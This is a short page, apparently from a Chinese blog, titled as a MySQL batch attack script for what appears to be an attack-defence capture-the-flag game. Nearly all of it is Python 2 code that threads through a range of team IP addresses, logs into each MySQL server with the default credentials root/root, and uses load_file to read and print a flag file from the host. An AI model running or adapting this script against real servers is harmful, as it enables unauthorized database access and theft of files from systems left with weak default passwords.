avatar

mysql批量攻击脚本
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
# -*- coding: utf-8 -*-
import MySQLdb
import thread
import time
start = 101 #开始队伍
end = 110 #结束队伍
target = '.250' #IP地址第四段[靶机地址]

ip = []
for i in range(start, end + 1):
ip.append('172.16.' + str(i) + target)
def exp(ip):

try:

db = MySQLdb.connect(ip, "root", "root", "mysql", charset='utf8')

cursor = db.cursor()

cursor.execute("SELECT load_file('/root/flagvalue.txt');")

data = cursor.fetchone()

print "%s:%s " % (ip,data)

db.close()

except:

pass
if __name__ == '__main__':
for i in ip:
try:
thread.start_new_thread(exp, (i,))
except:
#pass
print(i + '创建线程失败')

#两中方法来维持线程
#!----1
while 1:
pass
#!----2
#time.sleep(timeout + 10)